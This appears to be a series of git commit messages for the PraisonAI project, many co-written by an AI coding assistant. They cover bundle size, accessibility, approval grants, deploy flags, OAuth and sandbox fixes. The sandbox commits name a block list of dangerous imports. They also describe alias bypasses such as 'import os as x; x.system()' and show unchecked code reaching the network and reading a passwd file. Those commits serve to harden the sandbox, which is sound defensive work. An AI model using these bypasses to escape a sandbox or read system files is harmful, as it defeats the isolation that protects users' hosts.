spans inside `.row-error` while this branch was rewriting every rule in
the stylesheet, so the two met for the first time in a rebase. The whole
of the separation between them is one `display: block`; lose it and the
row reads "Sign-in problemThe OPENAI_API_KEY environment variable is
missing..." with nothing failing anywhere.
The hand-built `.row-error` is dropped from the fixture and the app is
made to produce a real one instead. The web build's default engine is
`remote-http` at `ENGINE`, and the harness already routes that address
to `connectionrefused` -- so sending a message drives the actual path:
the engine adapter, `classify.ts`, the view model's `errorKind`, and
`dom.ts`'s renderer. A fixture of an error row is a copy of that markup
that agrees with itself no matter what `dom.ts` later does.
That real row is now swept for contrast in both themes alongside the
three screens, and asserted structurally: a title, the provider's prose
kept in full underneath, the two on separate lines as GEOMETRY (the
title's box ends at or above where the message's begins, which an
`inline` regression breaks) and a weight the type scale admits.
#4873's rule reached this branch as `font-weight: 600`, which this
branch's weight gate rejects -- 600 is not one of the three weights
Roboto ships and resolves to 700 there anyway. It is `--weight-strong`
here, which is the same 700 on Android and now a named step.
Mutation-tested, seven for seven:
- `display: inline` on the error title -> error-row test
- `font-weight: 600` on the error title -> error-row test
- the bot's fix reverted to `.screen-heading:focus` -> focus-ring test
- `.82rem` on a tool row -> type scale
- `.72rem` on the settings eyebrow -> type scale
- `.chat-updated` dimmed past AA -> contrast sweep
- the transcript's right gutter as a literal -> gutter agreement
`npm run check` exits 0 on Node 22.18.0 and 24.12.0: 1688 tests, 0
failures.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* perf(ts): stop shipping three AI SDK providers to the phone
praisonai-mobile's webview bundle was at 1576.4kB of its 1600kB budget, so any
change of consequence failed the build: a pull request adding eight Handoff
options needed 26.2kB and turned nine jobs red. Raising the budget would have
moved the line instead of the weight.
The whole path was one barrel re-export. `agent/features/auth.ts` is on the
Agent's static graph and imported three dependency-free symbols from the
`../../llm` barrel; that barrel statically imports `openai` and
`llm/embeddings`, and embeddings named @ai-sdk/openai, @ai-sdk/google and
@ai-sdk/cohere in three LITERAL import() calls. A literal specifier is a
bundler instruction, not merely a runtime one, so all three shipped.
The auth block moves to a leaf module, and embeddings now resolve providers
through `createAISDKProvider` -- the computed-specifier registry this codebase
already uses for every chat provider, where embeddings were the lone exception.
That also fixes a real inconsistency: registerCustomProvider('openai', ...) took
effect for a completion and was ignored for an embedding of the same provider.
Lazy bundle 1576.4kB -> 891.2kB. Headroom 23.6kB -> 708.8kB. The 326.7kB of
provider packages was carrying 678kB: with them gone, only the subset of zod
that `ai` needs survives tree-shaking, and zod falls 454.4kB -> 102.7kB.
Equivalence was verified rather than assumed. Old and new paths produce
byte-identical model objects, both error messages are preserved verbatim, and
all seven auth names still export from `praisonai` and `praisonai/llm` as the
same object across ESM and CJS.
A regression test comes with it, because without one the next literal import
costs 100-170kB in silence until the budget trips, and the cheapest-looking fix
then is to raise the budget. It asserts the app bundles none of the host-loaded
provider packages, with a fixture proving a literal import IS caught.
Confirmed non-vacuous: reintroducing one literal import fails two tests, and
restoring the file passes them.
Not done, and deliberately: `ai` and its dependencies are another ~520kB, and
the AI-SDK chat path cannot work in a webview anyway. But `ai` is a hard
dependency of the adapter, not a pluggable provider, and making its import
non-analyzable would degrade every legitimate bundler consumer. Providers are
the host's; `ai` is ours. The honest fix there is a mobile-specific backend, not
an opaque specifier.
Also corrected: tr46/whatwg-url were suspected of contributing 297kB. They
contribute zero. They are on disk but in no metafile input, because the browser
platform takes openai's fetch shim. Only the metafile says what ships.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): repair pre-existing typecheck break and widen provider gate to the whole @ai-sdk namespace
The mobile CI `check` failed at `typecheck` on a pre-existing break unrelated
to this PR's files: app/src/main.test.ts reads `element.id` but the fake DOM's
FakeNode never declared it. Model `id` as the real DOM does -- the `id`
attribute, `""` when unset, the same slot setAttribute/getAttribute("id") use --
so `.id =` and getAttribute("id") stay consistent.
Also addresses Greptile's valid finding: the provider gate hardcoded four
packages while praisonai-ts's registry names ~50 @ai-sdk/* providers, so a
literal import('@ai-sdk/mistral') would pass silently. Replace the list with a
namespace predicate (every @ai-sdk/* minus ai's own internals), covering new
providers with no second edit, and prove it with a @ai-sdk/mistral fixture that
the old list would have missed.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
main's webview build is red: the lazy budget is 1600kB and the bundle is
1607.1kB. Measured on this base, with a fresh `npm install` in
praisonai-ts and `npm ci` in praisonai-mobile, exactly as mobile.yml does.
Attribution, rebuilding praisonai-ts at each commit against ONE fixed
dependency tree so upstream churn is constant across the rows:
bae2b6474 baseline 1528.0kB
7e45d8b10#4841 Agent/chat options (21) 1591.9kB +63.9
cbe9b490a#4838 Task engine (28 options) 1591.9kB +0.0
354a43b8c#4837 AgentTeam settings (7) 1607.1kB +15.2
#4838 put nothing on the phone at all. #4841 added the most -- despite a
title claiming it kept its additions off the webview graph -- and none of
it is removable: the phone runs `Agent.chat()`, so its option handling is
code the phone executes. #4837's 15.2kB is the opposite: team logic a
phone can never reach.
It reached the phone through one line. `agent/simple.ts` -- the module
`src/mobile.ts`, the webview allowlist, takes `Agent` from -- ended with
`export { AgentTeam, PraisonAIAgents, Agents } from './team'`. A value
re-export is a static import, so ./team and its four helpers landed in
the engine chunk of a bundle that deliberately does not export AgentTeam
and has no path that can construct one. esbuild cannot drop it: the two
modules were a cycle, and an unused re-export is a side-effect import of
a module it cannot prove pure (`sideEffects: false` changes nothing --
measured, still 1607.1kB, because the package is reached through a
`file:` link whose real path is outside node_modules).
So the classes come from ./team, where they live. `praisonai` and
`praisonai/agent` serve them exactly as before, as the same class, with
the aliases still identical. Only the deep specifier
`praisonai/agent/simple` stops serving them, one level below the barrel
that does. Types still come from ./simple: `export type` is erased.
`team.ts`'s `import { Agent }` becomes `import type` -- every use of it
there is already a type position, and the runtime class comes from the
dynamic `import('./simple')` in team-manager. That keeps the cycle from
re-forming.
Reclaims 19.7kB: #4837's whole contribution plus 4.5kB that predated it.
The budget is untouched -- raising it would have moved the line instead
of the weight, and this weight had no business being there.
A regression test asserts the SHAPE, not just the total: no `agent/team*`
input in any chunk, with the matcher proved non-vacuous against
agent/simple. Its regex matches every segment after `team`, not one
lowercase word, so a future `team-task-runner` cannot slip past -- that
widening came from praisonai-triage-agent[bot] on this branch and is kept
because it is strictly stricter. Reintroducing the re-export fails this
test, the LAZY-allowance test and the whole-gate test, and puts the
bundle back at exactly 1607.1kB.
Verified on this base: praisonai-ts 2379 tests, praisonai-mobile 1676
tests, webview gate 0 problems, `npm run test:bundle` 30/30,
`npm run test:web` 3/3, upstream parity and the name/signature/behaviour
gates clean, `npm run check` exit 0 on Node 22.18.0 and 24.12.0 with no
local patching. The shipped lazy chunk was served over HTTP and imported
in headless Chromium: it exports exactly Agent, getEnv and randomUUID, no
team symbol, no page errors, and answered a real turn -- "The capital of
France is Paris."
Co-authored-by: Claude Opus 5 <[email protected]>
Four defects, all of the same shape: something built, tested, and wired to
nothing.
1. The error row showed raw provider prose. `strings.errorTitle` maps an
ErrorKind onto six plain-English titles and had no renderer anywhere in the
app -- only the `aria-label` carried it, so a screen-reader user heard
"Sign-in problem. ..." while a sighted user got the SDK's sentence alone.
dom.ts's own docstring already claimed this fixed; only the announcement
ever was. Measured on an Android 35 emulator, a fresh install's first
message rendered, as the entire content of the row: "The OPENAI_API_KEY
environment variable is missing or empty; either provide it, or instantiate
the OpenAI client with an apiKey option, like new OpenAI({ apiKey: 'My API
Key' })." An environment variable and a JavaScript constructor, shown on a
phone, to a user who did nothing wrong.
2. That same message classified as `internal`, not `auth`. `recoveryFor`
maps `internal` to `none` and `auth` to `settings`, so the one failure whose
entire answer is "open Settings and paste a key" was the one offering no
route to settings -- the exact outcome classify.ts's docstring says the
function exists to prevent. None of `unauthor`, `forbidden`,
`authentication`, `no api key` or `api key not` occurs in it. It is the most
likely failure the app has: it is what every new install does first.
3. A reasoning row was distinguished from an answer by styling alone -- a left
rule, a softer colour, a smaller font, none of which reaches the
accessibility tree. `strings.reasoningLabel` was written for this and had no
caller, so the model's private working and its actual answer were one
undifferentiated run of paragraphs to a screen reader. Fixed the way the
user row already fixes it: a visually-hidden word inside the row, which is
content and therefore additive, never an aria-label over prose.
4. `npm run typecheck` exited 2 on main. #4847 added a test reading `n.id` off
the fake DOM, which has no `id` at all -- the property assignment landed on
the object anyway, so the test passed at runtime while tsc rejected it.
`id` now reflects onto the attribute in both directions, as a real element
does, so an aria-describedby assertion means something.
Verified on an Android 35 emulator (fresh install, real key, real turns): the
error row now reads "Sign-in problem" above the provider's sentence, which is
also what proves the reclassification landed. npm run check exits 0 on Node
22.18 and 24.12. Each test was mutation-checked: reverting its fix turns a
named test red.
Co-authored-by: Claude Opus 5 <[email protected]>
Move test into tests/unit/train/ (the only path the train CI shard
collects) so the publish-default and config regressions actually gate.
Replace the LoRA source-text assertions with a stubbed get_peft_model
that captures the kwargs, asserting configured values and defaults reach
the adapter -- the check the source-text guard exists to demand.
Co-authored-by: Mervin Praison <[email protected]>
The attached-backend fast path checked env/YAML/per-tool/exact-args grants
but skipped the registry's reusable "[s] this session" target store, and it
never recorded a session/always decision returned by the backend. So a
"this session" grant was never remembered and the user was re-prompted on
every matching call.
- Add registry._is_session_scoped to the standing-grant check.
- After a backend decision, mark_approved + _persist_scoped_decision so a
session/always grant is recorded exactly as the no-backend path does.
- Fails closed: a plain "once" approval creates no standing grant; a denial
is still a denial; grant-lookup errors fall through to asking.
8 tests (sync + async, both directions) pass; 288 approval + permissions
tests pass.
Co-authored-by: Mervin Praison <[email protected]>
- Fly: only forward cpu/memory when set away from CloudConfig defaults
("256"/"512" are ECS CPU units, not Fly VM cores — --vm-cpus 256 fails)
- Fly: push env_vars through `fly secrets set --stage` instead of the deploy
argv, so credentials never enter a process-visible argument vector
- Railway/Render: carry unapplied settings in DeployResult.metadata so
`deploy --json` consumers see the drop, not just a log line
- Tests updated to assert secrets stay off the argv and dropped settings
reach the structured result
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
Address reviewer feedback on PR #4877:
- docstring no longer names daytona.py/novita.py as callers of
ModalSandbox.write_file (they call their own backends); describe the
generic boolean contract instead
- test_the_message_names_a_way_forward now asserts on the emitted
logger.warning rather than the method source, so it cannot pass when the
recommendation is removed from the user-visible message
- sync the same inaccurate call-graph phrasing in both test files
Co-authored-by: Mervin Praison <[email protected]>
train_vision.py is selected automatically for any model whose name contains
vision/-vl-/visionmodel, so a user never chooses this file -- the model name
does. Two defects lived in it.
1. The LoRA adapter was built from literals:
r=16, lora_alpha=16, lora_dropout=0, random_state=3407, use_rslora=False
so lora_r, lora_alpha, lora_dropout, random_state and use_rslora were
accepted in the config, validated, and ignored. A vision run trained at
r=16 whatever was asked for. The previous literals are now the defaults, so
an existing config produces an identical run.
2. Every stage was gated on `self.config.get(<key>, "true").lower() == "true"`
-- the default being the STRING "true", i.e. publishing ON when the key is
absent. `praisonai-train llm` writes only the keys the user supplied, so
huggingface_save is usually absent. A plain local run therefore pushed the
fine-tuned model to the Hub, or died on a missing hf_model_name after the
training had already completed.
The LLM trainer already does the right thing and says so in a comment:
"Publishing defaults OFF and is skipped unless a target is set — so a plain
'train locally' config finishes with the LoRA saved to lora_model/ instead
of crashing on a missing repo name or pushing to someone else's account."
The vision path was left behind. It now matches.
Measured with the stages stubbed:
no publish keys -> pushed to the Hub? False (was True)
save=True but no repo name -> skipped (was KeyError)
explicit save + repo name -> published
The `.lower()` gating also crashed on a real YAML boolean, so `train: true`
was an error while `train: "true"` worked. Both work now, via the same _flag
helper the LLM trainer uses.
11 tests; restoring publish-by-default turns them red.
Co-Authored-By: Claude Opus 5 <[email protected]>
`_resolve_approval_decision` has two branches. The no-backend branch consults
the registry. The backend branch called `backend.request_approval[_sync]`
directly and returned, never consulting is_env_auto_approve,
is_yaml_approved, is_auto_approved or is_already_approved.
That is the DEFAULT branch -- a bare Agent() on a TTY installs a
ConsoleBackend (agent.py:2580), and every chat and gateway front-end sets the
same attribute. Measured before the fix, with PRAISONAI_AUTO_APPROVE=true and
a backend attached:
backend prompted: 3 times for 3 identical calls (should have been 0)
So the environment auto-approve was ignored, a YAML approval was ignored, and
an "approve for this session" grant was never remembered: the user was asked
again on every single call, which is the pressure that makes people reach for
the blanket "never ask" setting.
The backend branch now checks the same standing grants before prompting. The
gate still fails closed -- with no grant the backend is asked, a denial is
still a denial, and a tool that was never dangerous is still not gated. A
lookup that raises falls through to asking, which is the safe direction.
6 tests covering both directions; forcing the grant check off turns them red.
286 approval and permissions tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
Close two gaps Greptile flagged in the blocked_imports validator:
- Alias bypass (P1): `import os as x; x.system()` and `from os import
system; system()` evaded the os.system check because only the literal
AST spelling was compared. Import bindings are now resolved back to
their real dotted names, and blocked from-imports are rejected at
import time.
- False positives (P2): a bare blocked name was flagged on any read,
so `subprocess = 3` / `print(subprocess)` and `def f(eval): ...`
were wrongly rejected. Bare names are now only flagged in call
position (`eval(...)`); Store/param bindings are ignored. Module
names remain dangerous solely via `import`.
Adds tests for both import-alias forms and the store/param false
positives. 20/20 policy tests and 42/42 subprocess-security tests pass.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
The entire body was a warning and `return True`:
logger.warning("Modal sandbox write_file is limited - files are not persistent...")
return True
SandboxProtocol documents that return as "True if successful", so every
caller was told the write had happened. Two backends branch on it --
daytona.py:252 and novita.py:227 both do `if not await self.write_file(...)`
-- so the false True was the difference between a handled failure and a
silent one.
The knock-on: execute_file() is built on read_file(), which always returns
None, so it then failed with "File not found: <path>" for a file the caller
had just been told was written. Two contradictory answers about one file, and
the error sent the user hunting a path problem rather than the real cause.
Persisting here needs Modal Volumes. Until that exists, False is the truthful
answer, and callers already handle it. The messages now name what to do
instead: pass the code to execute(), or use a backend with file storage.
Two existing tests were pinning the defect and are updated:
test_write_file_warning asserted `result` -- a True return from a call
that wrote nothing
test_execute_file_not_found asserted "File not found" -- the misleading half
Both now assert the corrected behaviour, with a comment saying why.
7 new tests. My first version of one of them string-searched the source for
"return True" and failed against my own docstring, which quotes the old line
on purpose; it parses the AST now. Restoring the True return turns the suite
red. 152 tests pass, stable across 5 runs.
Co-Authored-By: Claude Opus 5 <[email protected]>
CloudConfig declares env_vars, cpu, memory, image, region, min_instances and
max_instances, validates them with extra="forbid", and echoes them back from
`deploy validate --json`. fly, railway and render sent none of them:
flyctl deploy --app <name> --remote-only
railway up --detach
So a config naming env_vars={"OPENAI_API_KEY": ...} deployed an application
without its key and reported success. AWS, GCP and Azure all consume the same
fields, which makes this an inconsistency rather than an unbuilt feature.
Fly now carries what flyctl actually accepts. Flags verified against the
installed flyctl v0.4.14 rather than assumed: -e/--env, --vm-cpus,
--vm-memory and --image exist; --region does not, because region belongs in
fly.toml. Region and instance counts are logged as unsupported instead.
flyctl deploy --app demo --remote-only --image registry.../demo:v1 \
--vm-cpus 2 --vm-memory 2048 --env OPENAI_API_KEY=... --env LOG_LEVEL=debug
Railway and render name what they cannot apply instead. Their CLIs were not
installed to verify against, and guessing at flag names would turn a silent
omission into a broken deploy -- the warning costs nothing and is true. Their
half remains open work, now visible rather than invisible.
The warning lists the env var NAMES only; a test asserts the values never
reach a log line.
13 tests. Removing the env-var loop turns them red. 220 deploy tests pass,
stable across 5 runs.
Co-Authored-By: Claude Opus 5 <[email protected]>
Address reviewer findings on the mcp auth command:
- Legacy shadow: a credential left by the old hand-rolled flow
(`oauth_{code[:20]}...`, no expires_at) reported is_token_expired()
== False, so the provider returned it and skipped real OAuth. The
command now removes that exact placeholder shape before delegating,
preserving genuine non-expiring tokens.
- Pre-registered clients: seed server.oauth.client_id/client_secret
into storage so servers without dynamic registration authenticate
instead of failing with "no registration_endpoint".
- Tests: add behavioral coverage for the legacy purge, genuine-token
preservation, configured-client seeding, and storage expiry, in
addition to the existing source/AST checks.
Co-authored-by: Mervin Praison <[email protected]>
run_command() validated against the security policy. execute() did not -- and
execute() is the default backend (SandboxConfig.sandbox_type defaults to
"subprocess") and the path SandboxManager.run_code() takes. So the policy was
decorative on the route almost everyone uses. Ran against origin/main:
SecurityPolicy.strict() -> allow_network=False,
blocked_imports=['subprocess','os.system','eval','exec']
execute(code) -> status=COMPLETED exit=0
SUBPROCESS IMPORTED OK
NETWORK REACHED
PASSWD: ##
blocked_imports was declared in SecurityPolicy, documented, and serialised by
to_dict() -- and read by no code anywhere in the monorepo.
The check parses the code rather than scanning for substrings, so a blocked
name inside a string, a comment or a longer identifier is not a false
positive, and code that will not parse is left to the interpreter to reject.
SCOPE, stated plainly: this enforces blocked_imports. It does NOT implement
network isolation. allow_network=False still needs OS-level sandboxing, and
code importing a module that is not on the blocked list can still open a
socket. That gap is real and is not closed here.
A first version of this change also ran the *command* through
_validate_command_against_policy, by symmetry with run_command(). That was a
category error and made the suite flaky in 5 of 8 runs: the command in
execute() is machine-generated -- interpreter plus code_<uuid4>.py -- and
blocked_commands contains 'dd', which appears by chance in about 9% of random
UUIDs (measured: 37/400). Legitimate runs were rejected at random. Only
user-supplied commands belong in that check, so it is left to run_command().
The same substring matching means run_command("echo ddd") is rejected today.
That is pre-existing and untouched here.
15 tests, the validator exercised directly plus one end-to-end. Full suite
stable across 20 consecutive runs; clean main was 0/10 and the flaky version
5/8, so the stability is measured rather than assumed.
Co-Authored-By: Claude Opus 5 <[email protected]>
`praisonai mcp auth` ran the first half of an OAuth 2.1 flow -- discovery,
browser, loopback callback -- and then, instead of exchanging the code at the
token endpoint, stored this:
auth_storage.set_tokens(name, {
"access_token": f"oauth_{code[:20]}...",
"refresh_token": None,
}, server_url=server.url)
That value is a truncated authorization code with a literal "..." appended:
not a token, and useless as a bearer credential. The command then printed
"✅ Successfully authenticated with {name}" and exited 0.
The command's own docstring did warn it stored "placeholder tokens only", so
this was disclosed in --help. What was not disclosed is the consequence: no
expires_at was written, so MCPAuthStorage.is_token_expired() returns False for
the entry, and the fabricated credential looked permanently valid. It shadowed
every later attempt at real OAuth, and the failure could not clear itself --
the user had to know to delete the store by hand.
MCPOAuthProvider already implemented the entire flow, including the
code-for-token exchange this command never performed (_exchange_code, with
grant_type=authorization_code against the discovered token_endpoint). The
command now calls ensure_authenticated() and lets the provider store what it
actually received. Nothing here writes tokens any more.
The docstring's placeholder warning goes with it, since it is no longer true.
7 tests, including an AST walk asserting no f-string in the module synthesises
an "oauth_..." value -- a string check alone would have matched the comment
explaining the old behaviour, which is how my first attempt at this test
fooled itself. Restoring the fabrication turns them red. 206 mcp tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
Deep-merge the config-file chunker so explicit --chunking/--chunk-size
survive, and re-raise typer.Exit so the failed-source summary isn't
followed by a redundant "Error:" line.
Co-authored-by: Mervin Praison <[email protected]>
* feat(ts): honour seven AgentTeam settings, and say why six others stay open
AgentTeam accepted fifteen options and acted on none of them. Seven now work;
the other eight are left in the ledger with a reason, because implementing them
would mean diverging from the reference rather than matching it.
Closed:
- memory gives the team one shared store: what it recalls is appended to each
task prompt in Python's bullet format, and each result is written back.
- context gives the run one ContextManager, so the third task sees everything
the team produced rather than only the previous result.
- hooks resolves Python's three team callbacks, and a completionChecker that
refuses an answer drives the retry loop and leaves the task failed.
- execution resolves preset, object or [preset, overrides] into the retry
ceiling and the manager-loop bound, including Python's floor of 3.
- planning runs plan-first: the plan's steps replace the tasks for the run, with
Python's approval rule.
- managerLlm with process 'hierarchical' runs the real manager loop, a port of
Process.hierarchical, including its bounds on invalid picks and re-selections.
- runOn is refused at construction with Python's two messages, because a team
has no single loop to hand to a runtime. Matching behaviour means throwing.
Left open, each for a stated reason:
- knowledge, guardrails, web, caching, learn, reflection: Python does not apply
these at team level either. agents.py:736-747 collects them and logs
"AgentTeam received [...] but does not yet apply them at the team level; pass
these to individual Agent(...) instances instead." Implementing them here
would be a divergence, not parity, so the notice now carries Python's own
explanation.
- autonomy: Python does propagate it, but there is nothing to propagate to.
autonomy is itself unhonoured on Agent, and Agent exposes no public setter.
Unblocking it needs an Agent method in the shape of applyDefaultModel.
- toolsRunOn: Python opens one shared sandbox per run and attaches every
member's tools to it. TypeScript has no compute provider, so anything written
here would run tools on the host while claiming otherwise.
One divergence declined rather than taken: Python's default completion checker
also fails a task that asked for structured output and did not produce it.
Adopting that would retry then fail every such team task whose model answers in
prose, a default-behaviour change outside this surface. It remains available
through hooks.completionChecker.
Behaviour parity: 76 options outstanding, now 69. The signature report moves
too, because memory, planning and context gained real types in place of unknown.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): correct AgentTeam repeated-run, planning and memory-scope parity
Fixes valid reviewer findings on PR #4837 against the Python reference:
- Per-run state reset (agents.py:_reset_task_state_for_item): start() now
clears task status/result/assignedAgent so a reused team re-runs its
tasks instead of skipping stale-"completed" ones (fixes hierarchical
loop counting prior completions and returning stale results).
- Planning is a one-run replacement (agents.py:_run_with_planning restores
self.tasks): the configured tasks are saved and restored in a finally,
so the next run re-plans from the originals.
- Plan todos complete only for steps whose task actually completed, not
unconditionally, so a refused completion check or an early manager stop
no longer reports 100%.
- Shared context is scoped per run via a run offset into the context
manager, so a task is handed only what this run produced.
- Team memory recall filters by userId, so a store shared across users no
longer leaks another user's entries into the prompt (untagged entries
stay visible).
Adds regression tests for all four fixes. Retry budget was reviewed and
already matches Python (while retries < max_retries from 0 == max_retries
attempts); left unchanged.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
* fix(ts): keep behaviour-parity total at 48 after rebase onto main
Resolve rebase conflict in BEHAVIOUR_PARITY.md and behaviour-parity.json:
main honoured all Agent/Agent.chat options (PR #4841), so the merged
ledger keeps only AgentTeam(8) + Handoff(8) + Task(32) = 48, with 17
partial. Drops the stale Agent/Agent.chat unhonoured sections that the
auto-merge reintroduced.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
index a success
Two defects in `praisonai rag index`.
1. --chunking and --chunk-size were declared as typer options, shown in the
command's own docstring example --
praisonai rag index ./data --chunking semantic --chunk-size 256
-- and then never read. knowledge_config was built with a vector_store key
only, so Knowledge fell back to its defaults (recursive / 512) whatever the
user asked for. The only place in the codebase documenting these flags was
the help text of the command ignoring them.
2. The loop printed a green tick for every source regardless of what came
back, and "Indexing complete!" printed unconditionally. A run where every
source indexed nothing -- an unreadable directory, a broken embedding
backend, a glob matching no supported file -- finished green and exited 0.
Zero chunks now reports the source as failed, and a run with any failed
source ends red and exits 1.
Verified by driving the real CLI with Knowledge faked:
chunker config passed through : {'type': 'semantic', 'chunk_size': 256}
exit code (all succeeded) : 0
exit code (indexed nothing) : 1 <- was 0
Edits are scoped to rag_index; the same Knowledge-construction line appears
in four other subcommands in this file and none of them is touched.
8 tests, both mutations killed. 28 existing rag tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
MemoryConfig validates `backend` in __post_init__ and echoes it from
to_dict(). Agent's construction path then did:
elif _memory_config.config:
memory = _memory_config.config
handing _init_memory the bare dict. _init_memory reads the provider as
memory.get("provider", memory.get("backend", "file")), so the backend was
never seen:
backend='sqlite', no config -> Memory provider=sqlite
backend='sqlite' + config={...} -> FileMemory provider=None <- dropped
...while to_dict() went on reporting 'sqlite'. Supplying *more* configuration
silently downgraded the backend, which is the opposite of what it should do,
and introspection agreed with the setting rather than with reality.
The backend is now carried into a copy of the dict. An explicit provider or
backend key inside config still wins -- the dict is the more specific
statement of intent -- and the caller's own dict is never mutated.
6 tests; reverting turns them red. 149 memory tests pass.
Co-authored-by: Claude Opus 5 <[email protected]>
* feat(ts): build the Task engine behind 28 accepted-and-ignored options
Task accepted 32 options and acted on none of them. This lands the behaviour
for 28, as engine modules under src/agent/engine/ with types.ts delegating to
them: retries and backoff, dependency-failure policy, context assembly,
routing and branching, loop expansion, input-file fan-out, multimodal message
building, handler execution, output shaping, per-task memory, knowledge, hooks
and caching.
The ledger is deliberately unchanged, and that is the point worth reading.
Every one of these options only takes effect when the team runner calls the
code, and it does not: grepping for the new methods outside the engine and
types.ts finds zero call sites. So passing `handler` or `loopOver` to a Task
today still does nothing, exactly as before. Shrinking the ledger now would
drop the count by 28 while nothing changed for anyone using the SDK -- the
precise move the ratchet cannot detect, arrived at honestly. The agent that
wrote this flagged the same thing in its own report.
They are closed when team.ts calls them, in the change that wires the runner;
until then this is groundwork with tests, not a closed gap.
What the runner needs, all re-exported from engine/index.ts: startTaskOf and
linkPreviousTasks before the run, planTaskRun to drive the loop, and per task
needsRun, notifyStart, resolveAgent, runHandler, buildContext, memoryContext,
knowledgeContext, buildMessageContent, the cache lookup, buildOutput in place
of the inline literal at team.ts:307, storeInMemory after, waitBeforeRetry and
continuesOnDependencyFailure on failure, and routeAfter with expandLoop and
expandFromInputFile at plan time.
Four options are not implemented and stay open on their own merits: autonomy,
web, reflection and planning are stored on the Python Task and never read
anywhere outside task.py's assignment, so implementing them would be inventing
behaviour the reference does not have.
One sub-gap inside a closed option, documented in the module header: Python
decodes a local .mp4 with OpenCV and appends a frame per second. There is no
decoder here, so a local video contributes a text note naming the file rather
than an unusable data URI. Images and URLs are fully ported.
Also fixed: the ledger assertion in parity-task.test.ts derived its expectation
from a hard-coded array, so it would have drifted the moment the ledger changed.
It now reads unhonouredFor('Task.__init__') instead.
42 new tests. tsc clean, 2,118 passing.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): close reviewer-flagged gaps in the Task engine
- CSV: parse whole-document records so quoted newlines and doubled quotes
survive (RFC 4180 + backslash escape), instead of splitting physical lines
- loop/inputFile fan-out: children inherit the parent execution contract
(handler, output, retries, hooks, memory, knowledge, caching, tools, images)
- output: only assign outputJson/outputPydantic when the parsed value is an
object; record a non-fatal error for arrays/scalars/null
- knowledge: accept the canonical Knowledge `{ results: [...] }` shape as well
as the KnowledgeBase array shape
- messages: map image extensions to registered MIME types (.jpg → image/jpeg)
- agent: record construction failure on nonFatalErrors before falling back
- callback: always pass metadata; JS callbacks ignore the extra argument
- fix pre-existing timing flake in workflow duration test (49ms vs >=50ms)
- +6 regression tests
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(ts): honour all 21 Agent and Agent.chat options, and keep them off the webview graph
Agent accepted 15 constructor options and 6 chat options and acted on none of
them. All 21 now work: reflection's critique loop, templates, tool search,
toolsets, learn, runtime, backend, runOn, toolsRunOn, sandbox, autonomy,
messageSteering, selfImprove, toolConfig, auth; and per call attachments,
reasoningSteps, taskName, taskDescription, taskId and config.
Five feature modules already existed -- reflection, templates, autonomy, learn,
tool-config -- complete and with no importer anywhere in the repo. They are
called now.
Three options resolve through registries a host fills in: runOn, toolsRunOn and
a non-subprocess sandbox. Naming an unregistered one THROWS rather than falling
back to running locally. That is a behaviour change and it is the parity-correct
one: placement.py:118-150 raises TypeError for exactly these cases, and its own
comment gives the reason -- "A typo here used to survive construction and only
surface on the first model turn -- after the prompt was built and, for a real
run, after the API spend."
The webview gate caught a regression the feature work introduced, which is what
it is for. Four Node builtins reached the Agent's browser graph -- child_process,
fs, os and path -- through the sandbox runner and the learn store, and two
require() calls earned their files the esm-shim createRequire banner, a
top-level await esbuild refuses at the chrome58 floor the Android app ships
against. Left alone this is issue #4437 again: a blank screen at import time
with no error boundary.
Fixed the way this package already does it. The sandbox loads its builtins
through computed specifiers; the learn manager is built on first use instead of
in the constructor, behind a type-only import; the attachment reader and the
global-tool registry lookup became async dynamic imports. require() is not
enough for either, because the gate counts a require-call as a static import.
The gate now reports OK for all four entries including the floor check, and the
mobile bundle is unchanged at 1528.0kB of its 1600kB budget.
Two options become partial rather than closed, on the AI SDK path only:
attachments, because that adapter converts user messages to text, and
toolConfig.parallel, because Python's parallel_tool_calls is a request field
that needs the fetch wrapper. Same shape as the existing seed and
reasoningEffort rows.
Also rewritten: a test asserting the exact list of ignored chat options, which
had to change every time one was closed. It derives its expectation from the
ledger now.
Behaviour parity: 76 options outstanding, now 55. 77 new tests; 2,112 passing.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): repair four agent-feature defects flagged in PR #4841 review
- sandbox: resolve process.execPath lazily via globalThis so the Agent
browser/mobile graph no longer evaluates a Node global at import time (#4437)
- sandbox: honour workingDir and persistFiles — run the child with cwd set to
the workspace and reuse it across calls; never delete a persisted/user dir
- learn: base the periodic nudge on the previous turn's tool count, captured
before the per-turn reset, so nudgeMinToolIters can actually be satisfied
- auth: forward the wrapped fetch (carrying subscription headers) through
getBackend -> resolveBackend into the AI SDK provider options
Adds unit tests for the sandbox workspace/persist path and the nudge threshold.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
